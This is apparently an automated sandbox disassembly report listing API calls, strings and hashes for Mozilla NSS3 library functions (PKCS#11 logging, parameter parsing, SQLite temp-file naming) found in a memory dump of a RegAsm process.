Part of subcall function 6C0E09D0: fwrite.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,00000001,00000000,?), ref: 6C0E0D26
Part of subcall function 6C0E09D0: fflush.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 6C0E0D35
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(0000000A), ref: 6C0E0D65
Part of subcall function 6C0E09D0: fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,?), ref: 6C0E0D70
Part of subcall function 6C0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C0E0D90
Part of subcall function 6C0E09D0: free.MOZGLUE(00000000), ref: 6C0E0D99

Part of subcall function 6BFC0F00: PR_GetPageSize.NSS3(6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F1B
Part of subcall function 6BFC0F00: PR_NewLogModule.NSS3(clock,6BFC0936,FFFFE8AE,?,6BF516B7,00000000,?,6BFC0936,00000000,?,6BF5204A), ref: 6BFC0F25

PR_LogPrint.NSS3( slotID = 0x%x,?), ref: 6C0028D6

Part of subcall function 6C0E09D0: PR_Now.NSS3 ref: 6C0E0A22
Part of subcall function 6C0E09D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C0E0A35
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C0E0A66
Part of subcall function 6C0E09D0: PR_GetCurrentThread.NSS3 ref: 6C0E0A70
Part of subcall function 6C0E09D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C0E0A9D
Part of subcall function 6C0E09D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C0E0AC8
Part of subcall function 6C0E09D0: PR_vsmprintf.NSS3(?,?), ref: 6C0E0AE8
Part of subcall function 6C0E09D0: EnterCriticalSection.KERNEL32(?), ref: 6C0E0B19
Part of subcall function 6C0E09D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C0E0B48
Part of subcall function 6C0E09D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C0E0C76
Part of subcall function 6C0E09D0: PR_LogFlush.NSS3 ref: 6C0E0C7E

PR_LogPrint.NSS3( label = "%.32s",?), ref: 6C002963
PR_LogPrint.NSS3( manufacturerID = "%.32s",?), ref: 6C002983
PR_LogPrint.NSS3( model = "%.16s",?), ref: 6C0029A3
PR_LogPrint.NSS3( serial = "%.16s",?), ref: 6C0029C3
PR_LogPrint.NSS3( flags = %s %s %s %s,CKF_RNG,CKF_WRITE_PROTECTED,CKF_LOGIN_REQUIRED,?), ref: 6C002A26
PR_LogPrint.NSS3( maxSessions = %u, Sessions = %u,?,?), ref: 6C002A48
PR_LogPrint.NSS3( maxRwSessions = %u, RwSessions = %u,?,?), ref: 6C002A66
PR_LogPrint.NSS3( hardware version: %d.%d,?,?), ref: 6C002A8E
PR_LogPrint.NSS3( firmware version: %d.%d,?,?), ref: 6C002AB6

Strings

hardware version: %d.%d, xrefs: 6C002A89
maxRwSessions = %u, RwSessions = %u, xrefs: 6C002A61
flags = %s %s %s %s, xrefs: 6C002A21
CKF_WRITE_PROTECTED, xrefs: 6C0029FE, 6C002A1F
manufacturerID = "%.32s", xrefs: 6C00297E
maxSessions = %u, Sessions = %u, xrefs: 6C002A43
serial = "%.16s", xrefs: 6C0029BE
slotID = 0x%x, xrefs: 6C0028D1
firmware version: %d.%d, xrefs: 6C002AB1
label = "%.32s", xrefs: 6C00295E
CKF_RNG, xrefs: 6C002A13, 6C002A20
C_GetTokenInfo, xrefs: 6C0028B8
CKF_USER_PIN_INIT, xrefs: 6C0029E5
CKF_LOGIN_REQUIRED, xrefs: 6C0029F3, 6C002A1E
pInfo = 0x%p, xrefs: 6C0028EA
model = "%.16s", xrefs: 6C00299E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$DebugOutputString$fflushfwrite$R_snprintf$CriticalCurrentEnterExplodeFlushModulePageR_vsmprintfR_vsnprintfSectionSizeThreadTimefputcfreememcpy
String ID: firmware version: %d.%d$ flags = %s %s %s %s$ hardware version: %d.%d$ label = "%.32s"$ manufacturerID = "%.32s"$ maxRwSessions = %u, RwSessions = %u$ maxSessions = %u, Sessions = %u$ model = "%.16s"$ pInfo = 0x%p$ serial = "%.16s"$ slotID = 0x%x$CKF_LOGIN_REQUIRED$CKF_RNG$CKF_USER_PIN_INIT$CKF_WRITE_PROTECTED$C_GetTokenInfo
API String ID: 2460313690-1106672779
Opcode ID: 14f9270060f18d9f032779db62e0e405ab3fb90dd5f00ee811d672687ae6fa08
Instruction ID: 38d8c73923569888c5db5c69e5ab9c58a3ee7b7262b8314a507a25ba9fb59997
Opcode Fuzzy Hash: 14f9270060f18d9f032779db62e0e405ab3fb90dd5f00ee811d672687ae6fa08
Instruction Fuzzy Hash: FB51E6B1701040AFFB219F90DE8DB553BE5AB4720DF4A8075E8089BA13DF35E844EBA1

Function 6BFE6BF0 Relevance: 49.1, APIs: 19, Strings: 9, Instructions: 148COMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(6C120148,?,?,?,?,6BFE6DC2), ref: 6BFE6BFF
PR_smprintf.NSS3(%s manufacturerID='%s',00000000,?,6BFE6DC2), ref: 6BFE6C1C

Part of subcall function 6BFBC5E0: free.MOZGLUE(?,?,?,?,00000000,00000001,?,6BFC1FBD,Unable to create nspr log file '%s',00000000), ref: 6BFBC63B

free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6C27
PR_smprintf.NSS3(%s libraryDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6C45
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6C50
PR_smprintf.NSS3(%s cryptoTokenDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6C71
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6C7C
PR_smprintf.NSS3(%s dbTokenDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6C9D
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6CA8
PR_smprintf.NSS3(%s cryptoSlotDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6CC9
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6CD4
PR_smprintf.NSS3(%s dbSlotDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6CF5
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6D00
PR_smprintf.NSS3(%s FIPSSlotDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6D1D
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6D28
PR_smprintf.NSS3(%s FIPSTokenDescription='%s',00000000,?,6BFE6DC2), ref: 6BFE6D45
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6D50
PR_smprintf.NSS3(%s minPS=%d,00000000,?,6BFE6DC2), ref: 6BFE6D68
free.MOZGLUE(00000000,?,?,?,6BFE6DC2), ref: 6BFE6D73

Strings

%s dbTokenDescription='%s', xrefs: 6BFE6C98
%s dbSlotDescription='%s', xrefs: 6BFE6CF0
%s manufacturerID='%s', xrefs: 6BFE6C17
%s cryptoTokenDescription='%s', xrefs: 6BFE6C6C
%s FIPSSlotDescription='%s', xrefs: 6BFE6D18
%s libraryDescription='%s', xrefs: 6BFE6C40
%s minPS=%d, xrefs: 6BFE6D63
%s FIPSTokenDescription='%s', xrefs: 6BFE6D40
%s cryptoSlotDescription='%s', xrefs: 6BFE6CC4

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: R_smprintffree
String ID: %s FIPSSlotDescription='%s'$%s FIPSTokenDescription='%s'$%s cryptoSlotDescription='%s'$%s cryptoTokenDescription='%s'$%s dbSlotDescription='%s'$%s dbTokenDescription='%s'$%s libraryDescription='%s'$%s manufacturerID='%s'$%s minPS=%d
API String ID: 657075589-3414793728
Opcode ID: dfe6e9cd046ca7f752fbb6b75d943537b9a4101556368b6000e8e834f88810bc
Instruction ID: 8f6222065d8ebfef15b7bb9543f8e225b7ca326ae6402e8ab8adc41465d11373
Opcode Fuzzy Hash: dfe6e9cd046ca7f752fbb6b75d943537b9a4101556368b6000e8e834f88810bc
Instruction Fuzzy Hash: E341B1BBA0141B37B7105A695C0EDBB3A58DDC15D87090170FE2DC7710FA2ACE1692F6

Function 6BFC0AA0 Relevance: 45.7, APIs: 24, Strings: 2, Instructions: 227libraryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6BFC0AD4

Part of subcall function 6C07C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C07C2BF

PR_EnterMonitor.NSS3 ref: 6BFC0B0D
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6BFC0B2E
MultiByteToWideChar.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000), ref: 6BFC0B54
WideCharToMultiByte.KERNEL32 ref: 6BFC0B94
WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6BFC0BC9
calloc.MOZGLUE(00000001,00000014), ref: 6BFC0BEA
LoadLibraryExW.KERNEL32(?,00000000,?), ref: 6BFC0C15

Strings

error %d, xrefs: 6BFC0D08
Loaded library %s (load lib), xrefs: 6BFC0D6F

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiWide$EnterErrorLibraryLoadMonitorValuecalloc
String ID: Loaded library %s (load lib)$error %d
API String ID: 2139286163-2368894446
Opcode ID: 7e2581682d8ee7eb7e0420c52d82cf342b1bcb9e269df2c7b88bfe4ed8d10a1f
Instruction ID: 8026f91d71d95a46a19dd73f0a63900fde41337fe33678690db5c793cffd34fd
Opcode Fuzzy Hash: 7e2581682d8ee7eb7e0420c52d82cf342b1bcb9e269df2c7b88bfe4ed8d10a1f
Instruction Fuzzy Hash: 4D71F7F6E00212ABEB10DF35CC4475B77B8AF45714F004069E90DD7251EBB8DA85DB92

Function 6C0A6E50 Relevance: 42.2, APIs: 19, Strings: 5, Instructions: 213stringCOMMON

Download Yara Rule

APIs

Part of subcall function 6BF5CA30: EnterCriticalSection.KERNEL32(?,?,?,6BFBF9C9,?,6BFBF4DA,6BFBF9C9,?,?,6BF8369A), ref: 6BF5CA7A
Part of subcall function 6BF5CA30: LeaveCriticalSection.KERNEL32(?), ref: 6BF5CB26

memset.VCRUNTIME140(00000000,00000000,?,?,6BF6BE66), ref: 6C0A6E81
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,6BF6BE66), ref: 6C0A6E98
sqlite3_snprintf.NSS3(?,00000000,6C10AAF9,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6EC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,6BF6BE66), ref: 6C0A6ED2
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6EF8
sqlite3_snprintf.NSS3(?,00000019,mz_etilqs_,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6F1F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?,?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6F28
sqlite3_randomness.NSS3(0000000F,00000000,?,?,?,?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6F3D
memset.VCRUNTIME140(?,00000000,?,?,?,?,?,6BF6BE66), ref: 6C0A6FA6
sqlite3_snprintf.NSS3(?,00000000,6C10AAF9,00000000,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6FDB
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6FE4
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A6FEF
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A7014
sqlite3_free.NSS3(00000000,?,?,?,?,6BF6BE66), ref: 6C0A701D
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,6BF6BE66), ref: 6C0A7030
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A705B
sqlite3_free.NSS3(00000000,?,?,?,?,?,6BF6BE66), ref: 6C0A7079
sqlite3_free.NSS3(?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A7097
sqlite3_free.NSS3(00000000,?,?,?,?,?,?,?,?,6BF6BE66), ref: 6C0A70A0

Strings

winGetTempname2, xrefs: 6C0A70C4
winGetTempname5, xrefs: 6C0A7071
winGetTempname4, xrefs: 6C0A7046
winGetTempname1, xrefs: 6C0A708F
mz_etilqs_, xrefs: 6C0A6F18

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: sqlite3_free$strlen$sqlite3_snprintf$CriticalSectionmemset$EnterLeavesqlite3_randomness
String ID: mz_etilqs_$winGetTempname1$winGetTempname2$winGetTempname4$winGetTempname5
API String ID: 593473924-707647140
Opcode ID: 5f8f3f9b8f08d71a7562358c22eccdc141cddfb03bbe62da5d90681d2fc3a7c7
Instruction ID: 86810122f73416577edc346ffa2926438d56a420a2d4b3361eb3c6645b7e7854
Opcode Fuzzy Hash: 5f8f3f9b8f08d71a7562358c22eccdc141cddfb03bbe62da5d90681d2fc3a7c7
Instruction Fuzzy Hash: 6951ABB3B001125BE30596B89C56FBF36E68F9231CF148534E815876D3FF29A51B82E2

Function 6C008E50 Relevance: 40.4, APIs: 14, Strings: 9, Instructions: 169COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_WrapKey), ref: 6C008E76
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C008EA4
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008EB3

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C008EC9
PR_LogPrint.NSS3( pMechanism = 0x%p,?), ref: 6C008EE5
PL_strncpyz.NSS3(?, hWrappingKey = 0x%x,00000050), ref: 6C008F17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008F29
PR_LogPrint.NSS3(?,00000000), ref: 6C008F3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6C008F71
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C008F80
PR_LogPrint.NSS3(?,00000000), ref: 6C008F96
PR_LogPrint.NSS3( pWrappedKey = 0x%p,?), ref: 6C008FB2
PR_LogPrint.NSS3( pulWrappedKeyLen = 0x%p,?), ref: 6C008FCD
PR_LogPrint.NSS3( *pulWrappedKeyLen = 0x%x,?), ref: 6C009047

Strings

pMechanism = 0x%p, xrefs: 6C008EE0
hWrappingKey = 0x%x, xrefs: 6C008F01, 6C008F11
hKey = 0x%x, xrefs: 6C008F5B, 6C008F6B
*pulWrappedKeyLen = 0x%x, xrefs: 6C009042
pWrappedKey = 0x%p, xrefs: 6C008FAD
pulWrappedKeyLen = 0x%p, xrefs: 6C008FC8
C_WrapKey, xrefs: 6C008E71
(CK_INVALID_HANDLE), xrefs: 6C008EAC, 6C008F1F, 6C008F79
hSession = 0x%x, xrefs: 6C008E8E, 6C008E9E

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: Print$L_strncpyz$L_strcatn
String ID: *pulWrappedKeyLen = 0x%x$ hKey = 0x%x$ hSession = 0x%x$ hWrappingKey = 0x%x$ pMechanism = 0x%p$ pWrappedKey = 0x%p$ pulWrappedKeyLen = 0x%p$ (CK_INVALID_HANDLE)$C_WrapKey
API String ID: 1003633598-4293906258
Opcode ID: 6299af2ba018e4b865a5ee7c5acdc7f45aa4ecba7637ea6a3dcffd8e42d819a6
Instruction ID: e10b029cbb8bc7e0bc1a386a24c076f57ebfbe5f577dc45c0a33d91aabf08a6d
Opcode Fuzzy Hash: 6299af2ba018e4b865a5ee7c5acdc7f45aa4ecba7637ea6a3dcffd8e42d819a6
Instruction Fuzzy Hash: 2951C131B01115AFEB10AF509D48F9F7BF6BB4630CF094025F90C6BA12DB34A959EB92

Function 6C034C10 Relevance: 40.4, APIs: 13, Strings: 10, Instructions: 146stringmemoryCOMMON

Download Yara Rule

APIs

PR_smprintf.NSS3(%s,%s,00000000,?,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034C50
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034C5B
PR_smprintf.NSS3(6C10AAF9,?,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034C76
PORT_ZAlloc_Util.NSS3(0000001A,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034CAE
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C034CC9
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C034CF4
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C034D0B
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034D5E
free.MOZGLUE(00000000,?,?,?,0000002F,?,?,?,00000000,00000000,?,6C024F51,00000000), ref: 6C034D68
PR_smprintf.NSS3(0x%08lx=[%s %s],0000002F,?,00000000), ref: 6C034D85
PR_smprintf.NSS3(0x%08lx=[%s askpw=%s timeout=%d %s],0000002F,?,?,?,00000000), ref: 6C034DA2
free.MOZGLUE(?), ref: 6C034DB9
free.MOZGLUE(00000000), ref: 6C034DCF

Strings

any, xrefs: 6C034C96
slotFlags, xrefs: 6C034D34
rootFlags, xrefs: 6C034D47
0x%08lx=[%s askpw=%s timeout=%d %s], xrefs: 6C034D9D
rust, xrefs: 6C034D22
every, xrefs: 6C034CA1
ootT, xrefs: 6C034D1A
timeout, xrefs: 6C034C91
%s,%s, xrefs: 6C034C4B
0x%08lx=[%s %s], xrefs: 6C034D80

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: free$R_smprintf$strlen$Alloc_Util
String ID: %s,%s$0x%08lx=[%s %s]$0x%08lx=[%s askpw=%s timeout=%d %s]$any$every$ootT$rootFlags$rust$slotFlags$timeout
API String ID: 3756394533-2552752316
Opcode ID: ba6b6b46f091911de2cbedbe23bf583b899b5e57f3e87f2e5ad8539487259f07
Instruction ID: 32ee58ce8f43d502e5304fea04086522141425cfdc9637b7cbaa08c7c5ea75f2
Opcode Fuzzy Hash: ba6b6b46f091911de2cbedbe23bf583b899b5e57f3e87f2e5ad8539487259f07
Instruction Fuzzy Hash: 2D418BB2A001537BDB129F659C45BBB3AE4AF8630CF044124E81D1F701EB36D954C7D2

Function 6C016910 Relevance: 38.6, APIs: 15, Strings: 7, Instructions: 131COMMON

Download Yara Rule

APIs

NSSUTIL_ArgHasFlag.NSS3(flags,readOnly,00000000), ref: 6C016943

Part of subcall function 6C034210: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,4B58E61A,flags,?,00000000,?,6C015947,flags,printPolicyFeedback,?,?,?,?,?,?,00000000), ref: 6C034220
Part of subcall function 6C034210: NSSUTIL_ArgGetParamValue.NSS3(?,6C015947,?,?,?,?,?,?,00000000,?,00000000,?,6C017703,?,00000000,00000000), ref: 6C03422D
Part of subcall function 6C034210: PL_strncasecmp.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C017703), ref: 6C03424B
Part of subcall function 6C034210: free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6C017703,?,00000000), ref: 6C034272

NSSUTIL_ArgHasFlag.NSS3(flags,nocertdb,00000000), ref: 6C016957
NSSUTIL_ArgHasFlag.NSS3(flags,nokeydb,00000000), ref: 6C016972
NSSUTIL_ArgStrip.NSS3(00000000), ref: 6C016983

Part of subcall function 6C033EA0: isspace.API-MS-WIN-CRT-STRING-L1-1-0(8914C483,70E85609,6C00C79F,?,6C016247,70E85609,?,?,6C00C79F,6C01781D,?,6C00BD52,00000001,70E85609,D85D8B04,?), ref: 6C033EB8

PL_strncasecmp.NSS3(00000000,configdir=,0000000A), ref: 6C0169AA
PL_strncasecmp.NSS3(00000000,certPrefix=,0000000B), ref: 6C0169BE
PL_strncasecmp.NSS3(00000000,keyPrefix=,0000000A), ref: 6C0169D2
NSSUTIL_ArgSkipParameter.NSS3(00000000), ref: 6C0169DF

Part of subcall function 6C034020: isspace.API-MS-WIN-CRT-STRING-L1-1-0(FFFFEF69,00000000,?,?,74F84C80,?,6C0350B7,?), ref: 6C034041

free.MOZGLUE(00000000), ref: 6C0169F6
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C016A04
free.MOZGLUE(00000000), ref: 6C016A1B
NSSUTIL_ArgFetchValue.NSS3(-0000000B,?), ref: 6C016A29
free.MOZGLUE(00000000), ref: 6C016A3F
NSSUTIL_ArgFetchValue.NSS3(-0000000A,?), ref: 6C016A4D
NSSUTIL_ArgStrip.NSS3(?), ref: 6C016A5B

Strings

keyPrefix=, xrefs: 6C0169CC
nokeydb, xrefs: 6C016968
flags, xrefs: 6C016937, 6C016942, 6C016956, 6C01696D
readOnly, xrefs: 6C01693D
configdir=, xrefs: 6C0169A4
nocertdb, xrefs: 6C016951
certPrefix=, xrefs: 6C0169B8

Memory Dump Source

Source File: 00000002.00000002.2253010810.000000006BF51000.00000020.00000001.01000000.00000009.sdmp, Offset: 6BF50000, based on PE: true

Associated: 00000002.00000002.2252988758.000000006BF50000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253587313.000000006C0EF000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253750509.000000006C12E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253774879.000000006C12F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253794156.000000006C130000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000002.00000002.2253824429.000000006C135000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6bf50000_RegAsm.jbxd

Similarity

API ID: L_strncasecmpValuefree$FetchFlag$Stripisspace$ParamParameterSkipstrlen
String ID: certPrefix=$configdir=$flags$keyPrefix=$nocertdb$nokeydb$readOnly
API String ID: 2065226673-2785624044
Opcode ID: 10edfd24ab50d1605b7bb509947ffda3620d0ccbea1485c2a3b247161ff4da2a
Instruction ID: fcde98e612ee6a4fc375af4c23cb14b70bd4c40c10f26b0bb167aa4949f15890
Opcode Fuzzy Hash: 10edfd24ab50d1605b7bb509947ffda3620d0ccbea1485c2a3b247161ff4da2a
Instruction Fuzzy Hash: 3F41A5B5A442066BE700DBB5AC96B5FB7ECDF0524CF481430E90AE7B41F735E91886A1

Function 6C004950 Relevance: 36.9, APIs: 13, Strings: 8, Instructions: 170COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_CopyObject), ref: 6C004976
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6C0049A7
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C0049B6

Part of subcall function 6C0ED930: PL_strncpyz.NSS3(?,?,?), ref: 6C0ED963

PR_LogPrint.NSS3(?,00000000), ref: 6C0049CC
PL_strncpyz.NSS3(?, hObject = 0x%x,00000050), ref: 6C0049FA
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004A09
PR_LogPrint.NSS3(?,00000000), ref: 6C004A1F
PR_LogPrint.NSS3( pTemplate = 0x%p,?), ref: 6C004A40
PR_LogPrint.NSS3( ulCount = %d,?), ref: 6C004A5C
PR_LogPrint.NSS3( phNewObject = 0x%p,?), ref: 6C004A7C
PL_strncpyz.NSS3(?, *phNewObject = 0x%x,00000050), ref: 6C004B17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6C004B26
PR_LogPrint.NSS3(?,00000000), ref: 6C004B3C

Strings

ulCount = %d, xrefs: 6C004A57
C_CopyObject, xrefs: 6C004971
pTemplate = 0x%p, xrefs: 6C004A39
*phNewObject = 0x%x, xrefs: 6C004B01, 6C004B11
phNewObject = 0x%p, xrefs: 6C004A77
hObject = 0x%x, xrefs: 6C0049E4, 6C0049F4
(CK_INVALID_HANDLE), xrefs: 6C0049AF, 6C004A02, 6C004B1F
hSession = 0x%x, xrefs: 6C004991, 6C0049A1

Memory Dump Source

